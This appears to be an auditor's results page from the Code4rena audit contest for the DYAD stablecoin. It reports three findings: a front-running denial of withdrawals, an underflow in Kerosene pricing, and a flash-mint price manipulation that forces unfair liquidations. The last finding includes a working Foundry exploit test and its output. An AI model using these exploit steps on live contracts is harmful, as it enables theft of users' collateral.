DYAD - TheFabled's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 9/183

Findings: 3

Award: $750.33

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L143

Vulnerability details

Description

An identified vulnerability within the deposit function allows a malicious user to cause the withdrawal function to revert for a legitimate request. This is possible by front-running a withdrawal request with a small deposit into the target's dNFT ID. The deposit function updates idToBlockOfLastDeposit, leading to a state where any subsequent withdrawal in the same block will fail. This design flaw can be exploited to perform denial of service (DoS) attacks on legitimate withdrawals, causing potential financial and operational disruptions for users.

Deploy.V2.s.sol

        function deposit(
            uint    id,
            address vault,
            uint    amount
        ) 
            external 
 @>         isValidDNft(id)
        {
            idToBlockOfLastDeposit[id] = block.number;  
            Vault _vault = Vault(vault);
            _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
            _vault.deposit(id, amount);
        }

        /// @inheritdoc IVaultManager
        function withdraw(
            uint    id,
            address vault,
            uint    amount,
            address to
        ) 
            public
            isDNftOwner(id)
        {
   @>       if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
            uint dyadMinted = dyad.mintedDyad(address(this), id);
            Vault _vault = Vault(vault);
            uint value = amount * _vault.assetPrice() 
                        * 1e18 
                        / 10**_vault.oracle().decimals() 
                        / 10**_vault.asset().decimals();
            if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); 
            _vault.withdraw(id, to, amount);
            if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
        }  

Impact

Expected Behavior

Withdrawals should be resilient to the timing and sequencing of deposit transactions. Legitimate withdrawal requests should not be inhibited by front-running activities, ensuring continuous and secure access to funds for users.

Actual Behavior

A bad actor can effectively block a withdrawal by exploiting the change in idToBlockOfLastDeposit through a minimal deposit. This creates an opportunistic vector for DoS attacks against the withdrawal function, compromising user experience and trust.

Proof Of Concept

  1. Monitor the network for pending withdrawal requests on specific dNFT IDs.
  2. Prior to the withdrawal transaction being processed, execute a deposit transaction with a minimal amount (1 gwei) targeting the same dNFT ID.
  3. Ensure the deposit transaction is mined before the withdrawal transaction within the same block.
  4. The legitimate withdrawal will revert due to the state change induced by the minimal deposit.

Recommended Mitigation:

Amend the deposit function to include a validation check ensuring that only the owner (or approved operator) of the dNFT can deposit into it. This change narrows the potential for malicious front-running by restricting deposit capabilities.

require(dNFT.ownerOf(id) == msg.sender || dNFT.isApprovedOperator(id, msg.sender), "NotOwnerNorApproved");

This validation provides a more secure interaction model, where deposits are intrinsically linked to ownership or explicit approval. By doing so, the protocol significantly reduces the surface area for denial of service (DoS) via the deposit function.

Assessed type

Access Control

#0 - c4-pre-sort

2024-04-27T11:40:25Z

JustDravee marked the issue as duplicate of #1103

#1 - c4-pre-sort

2024-04-27T11:45:40Z

JustDravee marked the issue as duplicate of #489

#2 - c4-pre-sort

2024-04-29T09:28:53Z

JustDravee marked the issue as sufficient quality report

#3 - c4-judge

2024-05-05T20:38:16Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-05T20:39:25Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#5 - c4-judge

2024-05-05T21:34:20Z

koolexcrypto marked the issue as nullified

#6 - c4-judge

2024-05-05T21:34:25Z

koolexcrypto marked the issue as not nullified

#7 - c4-judge

2024-05-08T15:28:05Z

koolexcrypto marked the issue as duplicate of #1001

#8 - c4-judge

2024-05-11T19:50:10Z

koolexcrypto marked the issue as satisfactory

Awards

3.8221 USDC - $3.82

Labels

bug
3 (High Risk)
insufficient quality report
satisfactory
:robot:_67_group
duplicate-308

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L65

Vulnerability details

Overview

An audit of the DYAD decentralized stablecoin system has revealed a potential vulnerability related to the calculation of Kerosene's value in scenarios where there is a substantial drop in the market value of the underlying collateral. The specific issue arises from underflow in the calculation of the numerator used to determine Kerosene's value. This report details the vulnerability, its implications, and provides recommendations to mitigate the risks.

Issue Description

The vulnerability exists within the assetPrice function, which is used to calculate the current price of Kerosene based on the total value locked (TVL) and DYAD's total supply. The critical line of code is:

uint numerator = tvl - dyad.totalSupply();

This line assumes that TVL will always be greater than the total supply of DYAD. However, during extreme market downturns where the value of the underlying crypto assets (like Ether) used as collateral drops precipitously, TVL can decrease rapidly and potentially fall below the total supply of DYAD.

In such cases, subtracting a larger number (DYAD total supply) from a smaller number (TVL) results in an underflow, which reverts the transaction due to the calculation resulting in a nonsensical, extremely high value due to the properties of unsigned integers in Solidity.

Impact Assessment
  1. Operational Disruption: The underflow error could cause critical functions of the stablecoin system, such as minting, redemption, and liquidity management, to revert. This would disrupt normal operations during significant market downturns, precisely when stable and reliable function is most crucial.

  2. System Lockup and Confidence Loss: If DYAD cannot manage liquidity effectively due to reverted transactions, it might lead to a cascading failure. Inability to liquidate positions in a timely manner could cause further deterioration of the collateral's value, thereby increasing the system's risk exposure and potentially leading to a loss of user confidence.

Proof Of Concept

  1. Simulation Setup: Begin with a set of initial parameters where the TVL calculated from the assets in the vaults is only marginally above the total supply of DYAD. This closely models a stable market situation.

  2. Induce Market Variation: Apply a sharp decline in the market value of all collateral assets managed in the vaults. This could mimic a real-world major market crash. The purpose here is to adjust the TVL downwards significantly.

  3. Recalculation: With the new, reduced asset values, recalculate the TVL by summing up the products of the balances and depressed prices of the assets.

  4. Comparison and Observation: Compare the recalculated TVL to the total supply of DYAD, noting if the TVL is lesser. Proceed to compute the difference (TVL - DYAD total supply) in the assetPrice function. This is the critical step where underflow is expected when TVL is less than DYAD's total supply.

Recommended Mitigation:

To avoid potential underflows, modify the assetPrice function to include a conditional check before performing the subtraction:

function assetPrice() public view returns (uint) {
    uint tvl;
    address[] memory vaults = kerosineManager.getVaults();
    uint numberOfVaults = vaults.length;

    for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
    }

    uint dyadSupply = dyad.totalSupply();
    uint numerator;

    // Check to prevent underflow
    if (tvl < dyadSupply) {
        numerator = 0; // Set to zero if tvl is less than dyad total supply
    } else {
        numerator = tvl - dyadSupply;
    }

    uint denominator = kerosineDenominator.denominator();

    return numerator * 1e8 / denominator;
}

By adding this check:

  • We ensure that the numerator cannot go negative, thus preventing the underflow.
  • Operations that rely on assetPrice will continue to perform correctly, albeit indicating no available surplus for Kerosene valuation when market conditions are poor.

This ensures system integrity and stability during extreme market conditions.

Assessed type

Under/Overflow

#0 - c4-pre-sort

2024-04-28T05:23:41Z

JustDravee marked the issue as insufficient quality report

#1 - c4-judge

2024-05-11T10:11:18Z

koolexcrypto marked the issue as duplicate of #308

#2 - c4-judge

2024-05-11T20:10:00Z

koolexcrypto marked the issue as satisfactory

Findings Information

🌟 Selected for report: carrotsmuggler

Also found by: Al-Qa-qa, Emmanuel, TheFabled, TheSavageTeddy, ZanyBonzy, adam-idarrha, alix40, lian886

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
upgraded by judge
:robot:_67_group
duplicate-68

Awards

746.4915 USDC - $746.49

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L214

Vulnerability details

Description

This vector involves the manipulation of Kerosene value through flash mint attacks leading to unfair liquidations of other users' collateralized positions.

  1. Prerequisites: The attacker needs to have significant funds in the protocol prior to execution in acceptable collateral forms. Additionally, the attack target (another user's collateralized NFT or Note) should be using Kerosene to enhance their collateral value and is close to the maximum mintable DYAD limit.

  2. Flash Minting of DYAD: The attacker initiates the attack by flash minting a large amount of DYAD. This transaction artificially inflates the supply of DYAD temporarily.

  3. Impacting Kerosene Value: The sudden increase in DYAD supply leads to a reduced value of Kerosene per the deterministic valuation formula: [ K_{valuemint} = {TVL - (D_{supply} + D_{mint}})}/{K_{supply} ] Here, D_{mint} is abnormally high, which significantly lowers the K_{valuemint} temporarily.

  4. Triggering Target Liquidation: As the value of Kerosene decreases, the collateral value backing the target's DYAD also decreases, potentially causing the target's collateral ratio to fall below the required threshold (150%). Consequently, this makes the target's position vulnerable to liquidation.

  5. Profit From Liquidation: If the attacker has positioned themselves as the liquidator, they can execute the liquidation to claim the collateral at a distressed price, achieving undue gains.

  6. Reverting Kerosene Value: Post-attack, the attacker burns the minted DYAD to return the supply to normal, restoring the Kerosene value and erasing evidence of manipulation.

Impact

The exploitation of this attack vector can lead to several issues:

  • Unfair Liquidation: Honest users who have adequately collateralized their positions can be unjustly liquidated.
  • Market Manipulation: The open capacity for DYAD minting can be used as a tool to manipulate overall market conditions.
  • Loss of Trust: Repeated occurrences of such attacks can deteriorate trust in the Kerosene mechanism and the DYAD system.

Proof Of Concept

<details> <summary>Place the following test in your Foundry testing file</summary>

    // SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {OracleMock} from "../OracleMock.sol";
import "../../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {VaultWstEth} from "../../src/core/Vault.wsteth.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";




contract V2Test is Test, Parameters {
  DNft         dNft;
  Dyad         dyad;
  Contracts contracts;
  IERC20 private _wstETH;
  OracleMock   mockOracle;
  VaultWstEth            wstEthMock;
  Licenser      oldLicenser;

  uint public attackNft;

  function setUp() public {
    contracts = new DeployV2().run();
    ERC20        (MAINNET_WSTETH); 
    _wstETH = IERC20(address(MAINNET_WSTETH));
    dNft       = DNft(MAINNET_DNFT);
    dyad       = Dyad(MAINNET_DYAD);
    oldLicenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    mockOracle = new OracleMock(1000e8);

    wstEthMock = new VaultWstEth(
      contracts.vaultManager, 
      ERC20        (MAINNET_WSTETH), 
      IAggregatorV3(address(mockOracle))
    );

    vm.prank(address(MAINNET_OWNER));
    contracts.vaultLicenser.add(address(wstEthMock));
    vm.prank(address(MAINNET_OWNER));
    oldLicenser.add(address(contracts.vaultManager));
    vm.prank(address(MAINNET_OWNER));
    contracts.kerosineManager.add(address(contracts.unboundedKerosineVault));

  }

  

  function setupStableState() internal {

    // setup state
    vm.startPrank(address(42));
    deal(address(42), 2 ether);    
    deal(address(MAINNET_WSTETH), address(42), 30000 * 1e18, true);
    deal(address(contracts.kerosene), address(42), 5000 * 1e18, true);
    uint id = dNft.mintNft{value: 1 ether}(address(42));
    attackNft = id;
    //console.log("nft id number: ", id );
    uint idTwo = dNft.mintNft{value: 1 ether}(address(42));
    //console.log("nft id number: ", idTwo );

    // deposit 1000 wstEth to stop underflow from already minted Dyad

    contracts.vaultManager.add(id, address(wstEthMock));
    _wstETH.approve(address(contracts.vaultManager), 1000 ether);
    contracts.vaultManager.deposit(id, address(wstEthMock), 1000 ether);
    contracts.vaultManager.add(idTwo, address(wstEthMock));
    _wstETH.approve(address(contracts.vaultManager), 10 ether);
    contracts.vaultManager.deposit(idTwo, address(wstEthMock), 10 ether);
    contracts.vaultManager.addKerosene(idTwo, address(contracts.unboundedKerosineVault));
    contracts.kerosene.approve(address(contracts.vaultManager), 100 ether);
    contracts.vaultManager.deposit(idTwo, address(contracts.unboundedKerosineVault), 100 ether);
    console.log("");
    console.log("");
    
  }

  function logNftStats(uint testId) internal view {

    console.log("             DNFT ID : ", testId);
    console.log("");
    console.log("NonKeroseneValue  testNft    :        ", contracts.vaultManager.getNonKeroseneValue(testId) );
    console.log("KeroseneValue of testNft :            ", contracts.vaultManager.getKeroseneValue(testId) );
    console.log("totalValue of testNft :               ", contracts.vaultManager.getTotalUsdValue(testId) );
    console.log("minted Dyad of testNft :              ", dyad.mintedDyad(address(contracts.vaultManager), testId) );
    console.log("collatRatio of testNft :              ", contracts.vaultManager.collatRatio(testId));
    console.log("");

  }

  

  function testFlashMintAttack() public {

    setupStableState();

    vm.startPrank(address(50));
    deal(address(50), 2 ether);    
    deal(address(MAINNET_WSTETH), address(50), 30000 * 1e18, true);
    deal(address(contracts.kerosene), address(50), 200000 * 1e18, false);

    uint testId = dNft.mintNft{value: 1 ether}(address(50));

    console.log("Minted test nft id:          ", testId);

    // deposit 1 wstEth
    contracts.vaultManager.add(testId, address(wstEthMock));
    _wstETH.approve(address(contracts.vaultManager), 1 ether);
    contracts.vaultManager.deposit(testId, address(wstEthMock), 1 ether);

    // deposit 200,000 Kerosene 
    contracts.vaultManager.addKerosene(testId, address(contracts.unboundedKerosineVault));
    contracts.kerosene.approve(address(contracts.vaultManager), 200000 ether);
    contracts.vaultManager.deposit(testId, address(contracts.unboundedKerosineVault), 200000 ether);

    

    uint amountDyad = contracts.vaultManager.getNonKeroseneValue(testId) - 1; 
    contracts.vaultManager.mintDyad(testId, amountDyad, address(50));

    console.log("starting value");
    logNftStats(testId);
    
    vm.stopPrank();
    
    // attack testId 

    vm.startPrank(address(42));
    uint attackAmount = amountDyad * 355;

    // flash mint large amount of Dyad
    contracts.vaultManager.mintDyad(attackNft, attackAmount, address(42));
    
    console.log("value during attack");
    logNftStats(testId);
    
    // attack test nft
    contracts.vaultManager.liquidate(testId, attackNft);

    // burn back Dyad
    contracts.vaultManager.burnDyad(attackNft, attackAmount - amountDyad);

    console.log("value after attack");
    logNftStats(testId);

    
  }
}

console log

        [PASS] testFlashMintAttack() (gas: 2307252)
        Logs:


        Minted test nft id:           648
        starting value
                    DNFT ID :  648

        NonKeroseneValue  testNft    :         1164672383760000000000
        KeroseneValue of testNft :             2251086000000000000000
        totalValue of testNft :                3415758383760000000000
        minted Dyad of testNft :               1164672383759999999999
        collatRatio of testNft :               2932806196307882480

        value during attack
                    DNFT ID :  648

        NonKeroseneValue  testNft    :         1164672383760000000000
        KeroseneValue of testNft :             569098000000000000000
        totalValue of testNft :                1733770383760000000000
        minted Dyad of testNft :               1164672383759999999999
        collatRatio of testNft :               1488633548743328022

        value after attack
                    DNFT ID :  648

        NonKeroseneValue  testNft    :         305836450068142087517
        KeroseneValue of testNft :             2251086000000000000000
        totalValue of testNft :                2556922450068142087517
        minted Dyad of testNft :               0
        collatRatio of testNft :               115792089237316195423570985008687907853269984665640564039457584007913129639935
</details>

Recommended Mitigation:

  1. Limit on Max DYAD Mint in a Single Transaction: Implement a cap on the maximum DYAD that can be minted in a single transaction relative to overall DYAD supply to prevent large-scale manipulations.

  2. Circuit Breaker: Deploy a mechanism that monitors for large, sudden changes in Kerosene value or DYAD supply. If triggered, the system could either automatically revert suspicious transactions or require additional verification.

Assessed type

Other

#0 - c4-pre-sort

2024-04-28T05:23:37Z

JustDravee marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-04-28T06:04:37Z

JustDravee marked the issue as duplicate of #67

#2 - c4-pre-sort

2024-04-28T06:04:40Z

JustDravee marked the issue as remove high or low quality report

#3 - c4-pre-sort

2024-04-29T09:18:50Z

JustDravee marked the issue as sufficient quality report

#4 - c4-judge

2024-05-05T09:59:11Z

koolexcrypto changed the severity to 2 (Med Risk)

#5 - c4-judge

2024-05-08T11:50:05Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#6 - c4-judge

2024-05-08T12:59:52Z

koolexcrypto marked the issue as nullified

#7 - c4-judge

2024-05-08T12:59:56Z

koolexcrypto marked the issue as not nullified

#8 - c4-judge

2024-05-08T13:00:03Z

koolexcrypto marked the issue as satisfactory

#9 - c4-judge

2024-05-11T19:28:53Z

koolexcrypto marked the issue as not a duplicate

#10 - c4-judge

2024-05-11T19:29:01Z

koolexcrypto marked the issue as duplicate of #68

#11 - c4-judge

2024-05-28T09:57:10Z

koolexcrypto changed the severity to 3 (High Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter